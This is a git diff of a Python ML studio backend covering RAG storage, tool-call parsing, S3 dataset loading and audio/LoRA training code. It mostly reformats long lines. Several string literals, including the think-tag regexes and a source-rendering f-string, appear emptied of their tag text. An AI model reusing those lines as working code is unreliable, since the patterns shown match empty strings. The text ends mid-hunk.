1165b6bb0e..25c7d2a491 100644 --- a/studio/backend/core/rag/store.py +++ b/studio/backend/core/rag/store.py @@ -89,7 +89,10 @@ def delete_kb(conn: sqlite3.Connection, kb_id: str) -> None: """Delete a knowledge base and every document (+ chunks) under it.""" scope = kb_scope(kb_id) doc_ids = [ - r["id"] for r in conn.execute("SELECT id FROM documents WHERE scope=?", (scope,)).fetchall() + r["id"] + for r in conn.execute( + "SELECT id FROM documents WHERE scope=?", (scope,) + ).fetchall() ] for doc_id in doc_ids: delete_document(conn, doc_id) @@ -182,7 +185,9 @@ def document_by_hash(conn: sqlite3.Connection, scope: str, sha256: str) -> str | return row["id"] if row else None -def failed_documents_by_hash(conn: sqlite3.Connection, scope: str, sha256: str) -> list[dict]: +def failed_documents_by_hash( + conn: sqlite3.Connection, scope: str, sha256: str +) -> list[dict]: rows = conn.execute( "SELECT id, stored_path FROM documents WHERE scope=? AND sha256=? AND status='failed'", (scope, sha256), diff --git a/studio/backend/core/rag/tool.py b/studio/backend/core/rag/tool.py index b05f8dd3a3..0f5291a521 100644 --- a/studio/backend/core/rag/tool.py +++ b/studio/backend/core/rag/tool.py @@ -107,7 +107,9 @@ def render_sources(sources: list[dict]) -> str: src = quoteattr(s.get("filename") or "unknown") page = s.get("page") page_attr = f" page={quoteattr(str(page))}" if page else "" - blocks.append(f'\n{s.get("text") or ""}\n') + blocks.append( + f'\n{s.get("text") or ""}\n' + ) return "\n\n".join(blocks) @@ -197,10 +199,14 @@ def search_for_autoinject( mode = mode, ) strong = [ - h for h in hits if h.dense_score is not None and h.dense_score >= min_dense_score + h + for h in hits + if h.dense_score is not None and h.dense_score >= min_dense_score ][:k] if not strong and hits and mode == "lexical": - probe = retrieval.retrieve_dense(conn, scope, query, 1, model_name = model_name) + probe = retrieval.retrieve_dense( + conn, scope, query, 1, model_name = model_name + ) if ( probe and probe[0].dense_score is not None diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py index 94d0e40ea7..2f763347bd 100644 --- a/studio/backend/core/tool_healing.py +++ b/studio/backend/core/tool_healing.py @@ -37,7 +37,9 @@ _BRACKETED_JSON_ONE_LEVEL = r"\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}" _REHEARSAL_CLOSED_STRIP_RE = re.compile( r"(?.*?(?:|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL) +_THINK_TAG_RE = re.compile( + r".*?(?:|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL +) # Bare open/close markers for prefilled-reasoning turns (template opens in the prompt). _THINK_OPEN_RE = re.compile(r"|\[THINK\]") _THINK_CLOSE_RE = re.compile(r"|\[/THINK\]") @@ -405,7 +413,9 @@ def _quote_gemma_array_elements(body: str) -> str: # Nested array: normalise its elements too. inner_end = _balanced_bracket_end(stripped, 0) if inner_end == len(stripped) - 1: - out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]") + out.append( + "[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]" + ) else: out.append(element) continue @@ -493,7 +503,9 @@ def _quote_gemma_object_keys(src: str) -> str: parts.append(src[i:]) i = len(src) else: - parts.append("[" + _quote_gemma_array_elements(src[i + 1 : arr_end]) + "]") + parts.append( + "[" + _quote_gemma_array_elements(src[i + 1 : arr_end]) + "]" + ) i = arr_end + 1 elif i < len(src) and src[i] not in '"{': v_start = i @@ -595,7 +607,9 @@ def _marker_coverage(content: str, markers) -> list[tuple[int, int]]: if order == 0: waiting[kind].append(payload) # marker index, now awaiting its close elif waiting[kind]: - close_end_for[waiting[kind].pop()] = payload # innermost open marker closes here + close_end_for[waiting[kind].pop()] = ( + payload # innermost open marker closes here + ) coverage = [] for idx, (start, brace_end, _kind, _m) in enumerate(markers): if brace_end < 0: @@ -708,7 +722,9 @@ def parse_tool_calls_from_text( start -= len("<|message_model|>") else: name = m.group(1) - arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end])) + arguments = json.dumps( + _gemma_arguments_to_json(content[m.end() : brace_end]) + ) except (json.JSONDecodeError, ValueError): continue span_end = brace_end + 1 @@ -729,7 +745,9 @@ def parse_tool_calls_from_text( for idx, fm in enumerate(func_starts): func_name = fm.group(1) body_start = fm.end() - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + next_func = ( + func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + ) end_tag = _TC_END_TAG_RE.search(content[body_start:]) if end_tag: body_end = body_start + end_tag.start() @@ -766,7 +784,9 @@ def parse_tool_calls_from_text( param_name = pm.group(1) val_start = pm.end() next_param = ( - param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + param_starts[pidx + 1].start() + if pidx + 1 < len(param_starts) + else len(body) ) val = body[val_start:next_param] if not allow_incomplete: @@ -845,11 +865,15 @@ def parse_tool_calls_from_text( # A bare scalar string stays raw (like the path); # json.dumps would double-encode it so the arg healer wraps # "weather" with its literal quotes. - "arguments": args if isinstance(args, str) else json.dumps(args), + "arguments": args + if isinstance(args, str) + else json.dumps(args), }, } ) - item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end + item_end = ( + item_ends[item_idx] if item_idx < len(item_ends) else region_end + ) last_span_idx = len(call_spans) call_spans.append((tile_start, item_end)) tile_start = item_end @@ -890,7 +914,9 @@ def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str: return text out: list[str] = [] cursor = 0 - for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names): + for start, end, _kind, _m in _iter_bracket_spans( + text, enabled_tool_names = enabled_tool_names + ): out.append(text[cursor:start]) cursor = end out.append(text[cursor:]) @@ -941,7 +967,11 @@ def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]: return think_spans if not call_spans: return think_spans - return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)] + return [ + (s, e) + for (s, e) in think_spans + if not any(cs <= s < ce for cs, ce in call_spans) + ] def strip_outside_think(text: str, strip_segment) -> str: @@ -1062,7 +1092,9 @@ def _strip_markup_segment( text = _strip_closed_blocks_outside_gemma(text) text = _strip_gemma_native_spans(text, final = final) patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS - return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names) + return apply_tool_strip_patterns( + text, patterns, enabled_tool_names = enabled_tool_names + ) def strip_tool_call_markup( diff --git a/studio/backend/core/training/s3_dataset.py b/studio/backend/core/training/s3_dataset.py index 3d05d19c75..f20521ab73 100644 --- a/studio/backend/core/training/s3_dataset.py +++ b/studio/backend/core/training/s3_dataset.py @@ -159,7 +159,9 @@ def prepare_s3_dataset_download( bucket/prefix contains no supported dataset files. """ if not boto3_available(): - raise RuntimeError("S3 dataset loading requires boto3. Install it with: pip install boto3") + raise RuntimeError( + "S3 dataset loading requires boto3. Install it with: pip install boto3" + ) bucket = s3_config.get("bucket") if not bucket: @@ -193,7 +195,9 @@ def prepare_s3_dataset_download( local_path = _unique_local_path(target_dir, filename, used_paths) download_kwargs = {} if cancel_callback is not None: - download_kwargs["Callback"] = lambda _bytes: _raise_if_cancelled(cancel_callback) + download_kwargs["Callback"] = lambda _bytes: _raise_if_cancelled( + cancel_callback + ) client.download_file(bucket, key, local_path, **download_kwargs) _raise_if_cancelled(cancel_callback) local_files.append(local_path) diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 8e419849cb..d5b030e0fe 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -14,7 +14,9 @@ import types # Off on Linux so datasets' forked map() workers can't deadlock. On spawn platforms # (Windows/macOS) map() runs in-process, so keep the fast tokenizer's Rust threads on # (the only parallelism single-process tokenize gets; off makes prep run serially). -os.environ["TOKENIZERS_PARALLELISM"] = "true" if sys.platform in ("win32", "darwin") else "false" +os.environ["TOKENIZERS_PARALLELISM"] = ( + "true" if sys.platform in ("win32", "darwin") else "false" +) # Make compiled cache modules importable by any subprocess. On spawn platforms # (Windows/macOS) spawned dataset.map() workers re-import top-level modules, and @@ -22,7 +24,9 @@ os.environ["TOKENIZERS_PARALLELISM"] = "true" if sys.platform in ("win32", "darw # UNSLOTH_COMPILE_LOCATION via PYTHONPATH lets any subprocess find them. # Do NOT import unsloth_zoo.compiler here -- it triggers heavy torch/triton imports. if sys.platform in ("win32", "darwin"): - _compile_cache = os.environ.get("UNSLOTH_COMPILE_LOCATION", "unsloth_compiled_cache") + _compile_cache = os.environ.get( + "UNSLOTH_COMPILE_LOCATION", "unsloth_compiled_cache" + ) if not os.path.isabs(_compile_cache): _compile_cache = os.path.abspath(_compile_cache) os.environ["UNSLOTH_COMPILE_LOCATION"] = _compile_cache @@ -136,10 +140,16 @@ class UnslothTrainer: self.is_cpt = False # True for Continued Pretraining self.is_vlm = False self.is_audio = False - self.is_audio_vlm = False # Multimodal model (e.g. Gemma 3N) trained on audio data + self.is_audio_vlm = ( + False # Multimodal model (e.g. Gemma 3N) trained on audio data + ) self._audio_type = None # 'csm', 'whisper', 'snac', 'bicodec', 'dac' - self._cuda_audio_used = False # Set once after audio CUDA preprocessing; never cleared - self._spark_tts_repo_dir = None # Downloaded Spark-TTS repo path (for BiCodecTokenizer) + self._cuda_audio_used = ( + False # Set once after audio CUDA preprocessing; never cleared + ) + self._spark_tts_repo_dir = ( + None # Downloaded Spark-TTS repo path (for BiCodecTokenizer) + ) self.model_name = None # Training metrics tracking @@ -196,7 +206,11 @@ class UnslothTrainer: self._cuda_audio_used = False # --- Detect VLM --- - vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False + vision = ( + is_vision_model(model_name, hf_token = hf_token) + if not self.is_audio + else False + ) self.is_vlm = not self.is_audio_vlm and vision and is_dataset_image logger.info( @@ -275,7 +289,9 @@ class UnslothTrainer: if total_steps > 0: steps_remaining = total_steps - current_step if steps_remaining > 0: - eta_seconds = (elapsed_seconds / current_step) * steps_remaining + eta_seconds = ( + elapsed_seconds / current_step + ) * steps_remaining num_tokens = getattr(state, "num_input_tokens_seen", None) @@ -303,7 +319,9 @@ class UnslothTrainer: return _ProgressCallback() - def _calculate_total_steps(self, num_samples, batch_size, grad_accum, num_epochs, max_steps): + def _calculate_total_steps( + self, num_samples, batch_size, grad_accum, num_epochs, max_steps + ): """Calculate total training steps from dataset size and training params.""" if max_steps and max_steps > 0: return max_steps @@ -324,7 +342,9 @@ class UnslothTrainer: size, lr, warmup, fp16/bf16, etc.) with per-branch overrides via extra_args. """ batch_size = training_args.get("batch_size", 2) - gradient_accumulation_steps = training_args.get("gradient_accumulation_steps", 4) + gradient_accumulation_steps = training_args.get( + "gradient_accumulation_steps", 4 + ) warmup_steps_val = training_args.get("warmup_steps", 5) max_steps_val = training_args.get("max_steps", 0) learning_rate = training_args.get("learning_rate", 2e-4) @@ -392,7 +412,9 @@ class UnslothTrainer: elif self.should_stop: msg = f"{label} training cancelled" if label else "Training cancelled" logger.info(f"\n{msg}.\n") - self._update_progress(is_training = False, status_message = "Training cancelled.") + self._update_progress( + is_training = False, status_message = "Training cancelled." + ) else: self.trainer.save_model() self.tokenizer.save_pretrained(output_dir) @@ -420,7 +442,9 @@ class UnslothTrainer: ] # Spark-TTS path is relative to the downloaded repo if self._spark_tts_repo_dir: - spark_code_dir = os.path.join(os.path.dirname(self._spark_tts_repo_dir), "Spark-TTS") + spark_code_dir = os.path.join( + os.path.dirname(self._spark_tts_repo_dir), "Spark-TTS" + ) audio_paths.append(spark_code_dir) removed_paths = [] @@ -474,7 +498,11 @@ class UnslothTrainer: # Hardcoded fallback audio_col = next((c for c in cols if c.lower() in ("audio", "speech")), None) text_col = next( - (c for c in cols if c.lower() in ("text", "sentence", "transcript", "transcription")), + ( + c + for c in cols + if c.lower() in ("text", "sentence", "transcript", "transcription") + ), None, ) @@ -504,7 +532,9 @@ class UnslothTrainer: ) -> bool: """Load model for training (supports both text and vision models)""" self.load_in_4bit = load_in_4bit # For training_meta.json - self.trust_remote_code = trust_remote_code # For AutoProcessor etc. used during training + self.trust_remote_code = ( + trust_remote_code # For AutoProcessor etc. used during training + ) try: if self.model is not None: del self.model @@ -538,14 +568,18 @@ class UnslothTrainer: # Remove stale compiled cache so the new model gets a fresh one from utils.cache_cleanup import clear_unsloth_compiled_cache - _preserve = ["Unsloth*Trainer.py"] if sys.platform in ("win32", "darwin") else None + _preserve = ( + ["Unsloth*Trainer.py"] if sys.platform in ("win32", "darwin") else None + ) clear_unsloth_compiled_cache(preserve_patterns = _preserve) # Detect audio model type dynamically (config.json + tokenizer) self._audio_type = detect_audio_type(model_name, hf_token) # audio_vlm is detected as an audio_type now; handle separately if self._audio_type == "audio_vlm": self.is_audio = False - self.is_audio_vlm = is_dataset_audio # Only use audio VLM path if dataset has audio + self.is_audio_vlm = ( + is_dataset_audio # Only use audio VLM path if dataset has audio + ) self._audio_type = None else: self.is_audio = self._audio_type is not None @@ -555,7 +589,11 @@ class UnslothTrainer: self._cuda_audio_used = False # VLM: vision model + image dataset (mutually exclusive with audio) - vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False + vision = ( + is_vision_model(model_name, hf_token = hf_token) + if not self.is_audio + else False + ) self.is_vlm = not self.is_audio_vlm and vision and is_dataset_image self.model_name = model_name self.max_seq_length = max_seq_length @@ -563,7 +601,9 @@ class UnslothTrainer: logger.info( f"Audio type: {self._audio_type}, is_audio: {self.is_audio}, is_audio_vlm: {self.is_audio_vlm}" ) - logger.info(f"Dataset has images: {is_dataset_image}, audio: {is_dataset_audio}") + logger.info( + f"Dataset has images: {is_dataset_image}, audio: {is_dataset_audio}" + ) logger.info(f"Using VLM path: {self.is_vlm}") # Reset training state for new run @@ -577,8 +617,12 @@ class UnslothTrainer: ) # Update UI with loading message - model_display = model_name.split("/")[-1] if "/" in model_name else model_name - model_type_label = "audio" if self.is_audio else ("vision" if self.is_vlm else "text") + model_display = ( + model_name.split("/")[-1] if "/" in model_name else model_name + ) + model_type_label = ( + "audio" if self.is_audio else ("vision" if self.is_vlm else "text") + ) self._update_progress( status_message = f"Loading {model_type_label} model... {model_display}" ) @@ -631,9 +675,12 @@ class UnslothTrainer: # (incl. FORCE_FLOAT32) is honored -- T4/V100 must NOT be coerced to # float16. Derive ROCm inline since hardware.IS_ROCM may be unset here. _is_rocm = ( - bool(getattr(torch.version, "hip", None)) or "rocm" in torch.__version__.lower() + bool(getattr(torch.version, "hip", None)) + or "rocm" in torch.__version__.lower() + ) + _auto_dtype = ( + torch.float16 if (_is_rocm and not is_bfloat16_supported()) else None ) - _auto_dtype = torch.float16 if (_is_rocm and not is_bfloat16_supported()) else None # Branch based on model type if self._audio_type == "csm": @@ -690,7 +737,9 @@ class UnslothTrainer: token = hf_token, trust_remote_code = trust_remote_code, ) - logger.info(f"Loaded {self._audio_type} audio model (FastLanguageModel)") + logger.info( + f"Loaded {self._audio_type} audio model (FastLanguageModel)" + ) elif self._audio_type == "bicodec": # Spark-TTS: download full repo (sparktts + BiCodec weights), then @@ -711,7 +760,9 @@ class UnslothTrainer: llm_path = f"{local_dir}/LLM" repo_path = snapshot_download(hf_repo, local_dir = local_dir) - self._spark_tts_repo_dir = os.path.abspath(repo_path) # Absolute for sys.path + self._spark_tts_repo_dir = os.path.abspath( + repo_path + ) # Absolute for sys.path llm_path = os.path.join(self._spark_tts_repo_dir, "LLM") self.model, self.tokenizer = FastModel.from_pretrained( @@ -774,15 +825,21 @@ class UnslothTrainer: from transformers import ProcessorMixin tok = self.tokenizer - has_image_proc = isinstance(tok, ProcessorMixin) or hasattr(tok, "image_processor") - logger.info(f"\n[VLM Diagnostic] FastVisionModel returned: {type(tok).__name__}") + has_image_proc = isinstance(tok, ProcessorMixin) or hasattr( + tok, "image_processor" + ) + logger.info( + f"\n[VLM Diagnostic] FastVisionModel returned: {type(tok).__name__}" + ) logger.info( f"[VLM Diagnostic] Is ProcessorMixin: {isinstance(tok, ProcessorMixin)}" ) logger.info( f"[VLM Diagnostic] Has image_processor: {hasattr(tok, 'image_processor')}" ) - logger.info(f"[VLM Diagnostic] Usable as vision processor: {has_image_proc}\n") + logger.info( + f"[VLM Diagnostic] Usable as vision processor: {has_image_proc}\n" + ) else: # Load text model - returns (model, tokenizer) self.model, self.tokenizer = FastLanguageModel.from_pretrained( @@ -902,7 +959,9 @@ class UnslothTrainer: # Full finetuning - skip PEFT entirely if not use_lora: - self._update_progress(status_message = "Full finetuning mode - no LoRA adapters") + self._update_progress( + status_message = "Full finetuning mode - no LoRA adapters" + ) logger.info("Full finetuning mode - training all parameters\n") return True @@ -929,7 +988,10 @@ class UnslothTrainer: # Normalize gradient_checkpointing to True, False, or "unsloth" if isinstance(use_gradient_checkpointing, str): use_gradient_checkpointing = use_gradient_checkpointing.strip().lower() - if use_gradient_checkpointing == "" or use_gradient_checkpointing == "unsloth": + if ( + use_gradient_checkpointing == "" + or use_gradient_checkpointing == "unsloth" + ): use_gradient_checkpointing = "unsloth" elif use_gradient_checkpointing in ("true", "1", "yes"): use_gradient_checkpointing = True @@ -957,14 +1019,14 @@ class UnslothTrainer: # Check expected attributes if not hasattr(self.model, "config"): - error_msg = ( - "Model does not have config attribute - model may not be loaded correctly" - ) + error_msg = "Model does not have config attribute - model may not be loaded correctly" logger.error(error_msg) self._update_progress(error = error_msg) return False - logger.info(f"Configuring LoRA adapters (r={lora_r}, alpha={lora_alpha})...\n") + logger.info( + f"Configuring LoRA adapters (r={lora_r}, alpha={lora_alpha})...\n" + ) logger.info( f"Gradient checkpointing: {use_gradient_checkpointing} (type: {type(use_gradient_checkpointing).__name__})\n" ) @@ -979,8 +1041,12 @@ class UnslothTrainer: logger.info(f" - Target modules: {target_modules}") if self.is_audio_vlm: logger.info(f" - Finetune vision layers: {finetune_vision_layers}") - logger.info(f" - Finetune language layers: {finetune_language_layers}") - logger.info(f" - Finetune attention modules: {finetune_attention_modules}") + logger.info( + f" - Finetune language layers: {finetune_language_layers}" + ) + logger.info( + f" - Finetune attention modules: {finetune_attention_modules}" + ) logger.info(f" - Finetune MLP modules: {finetune_mlp_modules}") logger.info() @@ -993,7 +1059,9 @@ class UnslothTrainer: use_gradient_checkpointing = use_gradient_checkpointing, random_state = 3407, use_rslora = use_rslora, - loftq_config = {"loftq_bits": 4, "loftq_iter": 1} if use_loftq else None, + loftq_config = {"loftq_bits": 4, "loftq_iter": 1} + if use_loftq + else None, ) # Audio VLM models support VLM-style layer selection if self.is_audio_vlm: @@ -1023,7 +1091,9 @@ class UnslothTrainer: use_gradient_checkpointing = use_gradient_checkpointing, random_state = 3407, use_rslora = use_rslora, - loftq_config = {"loftq_bits": 4, "loftq_iter": 1} if use_loftq else None, + loftq_config = {"loftq_bits": 4, "loftq_iter": 1} + if use_loftq + else None, task_type = None, ) @@ -1042,7 +1112,9 @@ class UnslothTrainer: use_gradient_checkpointing = use_gradient_checkpointing, random_state = 3407, use_rslora = use_rslora, - loftq_config = {"loftq_bits": 4, "loftq_iter": 1} if use_loftq else None, + loftq_config = {"loftq_bits": 4, "loftq_iter": 1} + if use_loftq + else None, ) elif self.is_vlm: @@ -1050,7 +1122,9 @@ class UnslothTrainer: logger.info(f"Vision model LoRA configuration:") logger.info(f" - Finetune vision layers: {finetune_vision_layers}") logger.info(f" - Finetune language layers: {finetune_language_layers}") - logger.info(f" - Finetune attention modules: {finetune_attention_modules}") + logger.info( + f" - Finetune attention modules: {finetune_attention_modules}" + ) logger.info(f" - Finetune MLP modules: {finetune_mlp_modules}\n") self.model = FastVisionModel.get_peft_model( @@ -1067,7 +1141,9 @@ class UnslothTrainer: use_gradient_checkpointing = use_gradient_checkpointing, random_state = 3407, use_rslora = use_rslora, - loftq_config = {"loftq_bits": 4, "loftq_iter": 1} if use_loftq else None, + loftq_config = {"loftq_bits": 4, "loftq_iter": 1} + if use_loftq + else None, modules_to_save = modules_to_save, ) else: @@ -1087,7 +1163,9 @@ class UnslothTrainer: use_gradient_checkpointing = use_gradient_checkpointing, random_state = 3407, use_rslora = use_rslora, - loftq_config = {"loftq_bits": 4, "loftq_iter": 1} if use_loftq else None, + loftq_config = {"loftq_bits": 4, "loftq_iter": 1} + if use_loftq + else None, modules_to_save = modules_to_save, ) @@ -1105,7 +1183,9 @@ class UnslothTrainer: import sys error_details = ( - f"{type(e).__name__}: {str(e)}" if str(e) else f"{type(e).__name__} (no message)" + f"{type(e).__name__}: {str(e)}" + if str(e) + else f"{type(e).__name__} (no message)" ) full_traceback = traceback.format_exc() logger.error(f"Error preparing model: {error_details}") @@ -1171,7 +1251,9 @@ class UnslothTrainer: kwargs.pop("task_ids", None) # Only keep recognized TransformersKwargs - clean_kwargs = {k: v for k, v in kwargs.items() if k in _TRANSFORMERS_KWARGS} + clean_kwargs = { + k: v for k, v in kwargs.items() if k in _TRANSFORMERS_KWARGS + } if input_ids is not None and input_ids.ndim == 2: merged = self._merge_input_ids_with_input_values( @@ -1196,7 +1278,9 @@ class UnslothTrainer: backbone_hidden_states = backbone_outputs[0] slice_indices = ( - slice(-logits_to_keep, None) if isinstance(logits_to_keep, int) else logits_to_keep + slice(-logits_to_keep, None) + if isinstance(logits_to_keep, int) + else logits_to_keep ) backbone_logits = self.lm_head(backbone_hidden_states[:, slice_indices, :]) @@ -1214,7 +1298,9 @@ class UnslothTrainer: ) train_mask = ~(labels[:, :, 1:] == -100).all(dim = -1) - depth_decoder_input_ids = labels[train_mask][..., : self.config.num_codebooks - 1] + depth_decoder_input_ids = labels[train_mask][ + ..., : self.config.num_codebooks - 1 + ] depth_decoder_input_ids = nn.functional.pad( depth_decoder_input_ids, (1, 0), value = 0 ) @@ -1228,9 +1314,9 @@ class UnslothTrainer: # Scale num_items_in_batch for the depth decoder's 31 codebooks. dd_kwargs = clean_kwargs.copy() if "num_items_in_batch" in dd_kwargs: - dd_kwargs["num_items_in_batch"] = dd_kwargs["num_items_in_batch"] * ( - self.config.num_codebooks - 1 - ) + dd_kwargs["num_items_in_batch"] = dd_kwargs[ + "num_items_in_batch" + ] * (self.config.num_codebooks - 1) depth_decoder_outputs = self.depth_decoder( input_ids = depth_decoder_input_ids, @@ -1267,10 +1353,14 @@ class UnslothTrainer: depth_decoder_outputs.logits if depth_decoder_outputs else None ), depth_decoder_past_key_values = ( - depth_decoder_outputs.past_key_values if depth_decoder_outputs else None + depth_decoder_outputs.past_key_values + if depth_decoder_outputs + else None ), depth_decoder_hidden_states = ( - depth_decoder_outputs.hidden_states if depth_decoder_outputs else None + depth_decoder_outputs.hidden_states + if depth_decoder_outputs + else None ), depth_decoder_attentions = ( depth_decoder_outputs.attentions if depth_decoder_outputs else None @@ -1310,11 +1400,17 @@ class UnslothTrainer: speaker_key = resolved["speaker_col"] if audio_col is None: - raise ValueError(f"No audio column found in dataset. Columns: {dataset.column_names}") + raise ValueError( + f"No audio column found in dataset. Columns: {dataset.column_names}" + ) if text_col is None: - raise ValueError(f"No text column found in dataset. Columns: {dataset.column_names}") + raise ValueError( + f"No text column found in dataset. Columns: {dataset.column_names}" + ) if speaker_key is None: - logger.info("No speaker found, adding default 'source' of 0 for all examples\n") + logger.info( + "No speaker found, adding default 'source' of 0 for all examples\n" + ) dataset = dataset.add_column("source", ["0"] * len(dataset)) speaker_key = "source" @@ -1394,11 +1490,14 @@ class UnslothTrainer: ) if not processed_examples: - raise ValueError(f"No valid examples after CSM preprocessing (skipped {skipped})") + raise ValueError( + f"No valid examples after CSM preprocessing (skipped {skipped})" + ) result_dataset = Dataset.from_list(processed_examples) logger.info( - f"CSM preprocessing complete: {len(result_dataset)} examples " f"({skipped} skipped)\n" + f"CSM preprocessing complete: {len(result_dataset)} examples " + f"({skipped} skipped)\n" ) return result_dataset @@ -1560,7 +1659,9 @@ class UnslothTrainer: # --- Encode audio with SNAC (notebook 122-142) --- waveform = ( - torch.from_numpy(audio_data["array"]).unsqueeze(0).to(dtype = torch.float32) + torch.from_numpy(audio_data["array"]) + .unsqueeze(0) + .to(dtype = torch.float32) ) if resample_transform is not None: waveform = resample_transform(waveform) @@ -1574,11 +1675,21 @@ class UnslothTrainer: for i in range(codes[0].shape[1]): all_codes.append(codes[0][0][i].item() + AUDIO_OFFSET) all_codes.append(codes[1][0][2 * i].item() + AUDIO_OFFSET + 4096) - all_codes.append(codes[2][0][4 * i].item() + AUDIO_OFFSET + (2 * 4096)) - all_codes.append(codes[2][0][(4 * i) + 1].item() + AUDIO_OFFSET + (3 * 4096)) - all_codes.append(codes[1][0][(2 * i) + 1].item() + AUDIO_OFFSET + (4 * 4096)) - all_codes.append(codes[2][0][(4 * i) + 2].item() + AUDIO_OFFSET + (5 * 4096)) - all_codes.append(codes[2][0][(4 * i) + 3].item() + AUDIO_OFFSET + (6 * 4096)) + all_codes.append( + codes[2][0][4 * i].item() + AUDIO_OFFSET + (2 * 4096) + ) + all_codes.append( + codes[2][0][(4 * i) + 1].item() + AUDIO_OFFSET + (3 * 4096) + ) + all_codes.append( + codes[1][0][(2 * i) + 1].item() + AUDIO_OFFSET + (4 * 4096) + ) + all_codes.append( + codes[2][0][(4 * i) + 2].item() + AUDIO_OFFSET + (5 * 4096) + ) + all_codes.append( + codes[2][0][(4 * i) + 3].item() + AUDIO_OFFSET + (6 * 4096) + ) if len(all_codes) == 0: skipped += 1 @@ -1634,7 +1745,9 @@ class UnslothTrainer: # Progress update every 100 examples if (idx + 1) % 100 == 0: - self._update_progress(status_message = f"Encoding audio... {idx + 1}/{len(dataset)}") + self._update_progress( + status_message = f"Encoding audio... {idx + 1}/{len(dataset)}" + ) # Free SNAC model from GPU logger.info("Freeing SNAC codec model from GPU...\n") @@ -1646,11 +1759,14 @@ class UnslothTrainer: self._cuda_audio_used = True if not processed_examples: - raise ValueError(f"No valid examples after SNAC preprocessing (skipped {skipped})") + raise ValueError( + f"No valid examples after SNAC preprocessing (skipped {skipped})" + ) result_dataset = Dataset.from_list(processed_examples) logger.info( - f"SNAC preprocessing complete: {len(result_dataset)} examples " f"({skipped} skipped)\n" + f"SNAC preprocessing complete: {len(result_dataset)} examples " + f"({skipped} skipped)\n" ) return result_dataset @@ -1673,7 +1789,9 @@ class UnslothTrainer: # sparktts lives in the SparkAudio/Spark-TTS GitHub repo, not the HF model # repo. Clone if needed. - spark_code_dir = os.path.join(os.path.dirname(self._spark_tts_repo_dir), "Spark-TTS") + spark_code_dir = os.path.join( + os.path.dirname(self._spark_tts_repo_dir), "Spark-TTS" + ) sparktts_pkg = os.path.join(spark_code_dir, "sparktts") if not os.path.isdir(sparktts_pkg): self._update_progress(status_message = "Cloning Spark-TTS code repo...") @@ -1740,7 +1858,9 @@ class UnslothTrainer: return_tensors = "pt", padding = True, ) - input_values = processed.input_values.to(audio_tokenizer.feature_extractor.device) + input_values = processed.input_values.to( + audio_tokenizer.feature_extractor.device + ) model_output = audio_tokenizer.feature_extractor(input_values) if model_output.hidden_states is None: @@ -1789,8 +1909,12 @@ class UnslothTrainer: ref_wav_np = audio_tokenizer.get_ref_clip(audio_array) # Prepare tensors - audio_tensor = torch.from_numpy(audio_array).unsqueeze(0).float().to(device) - ref_wav_tensor = torch.from_numpy(ref_wav_np).unsqueeze(0).float().to(device) + audio_tensor = ( + torch.from_numpy(audio_array).unsqueeze(0).float().to(device) + ) + ref_wav_tensor = ( + torch.from_numpy(ref_wav_np).unsqueeze(0).float().to(device) + ) # Extract wav2vec2 features feat = extract_wav2vec2_features(audio_tensor) @@ -1802,10 +1926,15 @@ class UnslothTrainer: } # BiCodec tokenize - semantic_token_ids, global_token_ids = audio_tokenizer.model.tokenize(batch) + semantic_token_ids, global_token_ids = audio_tokenizer.model.tokenize( + batch + ) global_tokens = "".join( - [f"<|bicodec_global_{i}|>" for i in global_token_ids.squeeze().cpu().numpy()] + [ + f"<|bicodec_global_{i}|>" + for i in global_token_ids.squeeze().cpu().numpy() + ] ) semantic_tokens = "".join( [ @@ -1861,7 +1990,9 @@ class UnslothTrainer: self._cuda_audio_used = True if not processed_examples: - raise ValueError(f"No valid examples after BiCodec preprocessing (skipped {skipped})") + raise ValueError( + f"No valid examples after BiCodec preprocessing (skipped {skipped})" + ) result_dataset = Dataset.from_list(processed_examples) logger.info( @@ -1949,7 +2080,9 @@ class UnslothTrainer: logger.info("Cast audio column to 24kHz\n") # Load Whisper for word timings - self._update_progress(status_message = "Loading Whisper model for word timings...") + self._update_progress( + status_message = "Loading Whisper model for word timings..." + ) logger.info("Loading Whisper model for word timings...\n") import whisper @@ -1968,7 +2101,9 @@ class UnslothTrainer: prompt_processor = PromptProcessor(model_tokenizer_path) self._update_progress(status_message = "Preprocessing audio with OuteTTS...") - logger.info(f"DAC preprocessing: audio_col='{audio_col}', text_col='{text_col}'\n") + logger.info( + f"DAC preprocessing: audio_col='{audio_col}', text_col='{text_col}'\n" + ) processed_examples = [] skipped = 0 @@ -2008,7 +2143,9 @@ class UnslothTrainer: tmp.flush() tmp_path = tmp.name try: - whisper_result = whisper_model.transcribe(tmp_path, word_timestamps = True) + whisper_result = whisper_model.transcribe( + tmp_path, word_timestamps = True + ) finally: Path(tmp_path).unlink(missing_ok = True) @@ -2069,11 +2206,14 @@ class UnslothTrainer: self._cuda_audio_used = True if not processed_examples: - raise ValueError(f"No valid examples after DAC preprocessing (skipped {skipped})") + raise ValueError( + f"No valid examples after DAC preprocessing (skipped {skipped})" + ) result_dataset = HFDataset.from_list(processed_examples) logger.info( - f"DAC preprocessing complete: {len(result_dataset)} examples " f"({skipped} skipped)\n" + f"DAC preprocessing complete: {len(result_dataset)} examples " + f"({skipped} skipped)\n" ) sample = result_dataset[0]["text"] logger.info(f"Sample text (first 200 chars): {sample[:200]}...\n") @@ -2104,7 +2244,9 @@ class 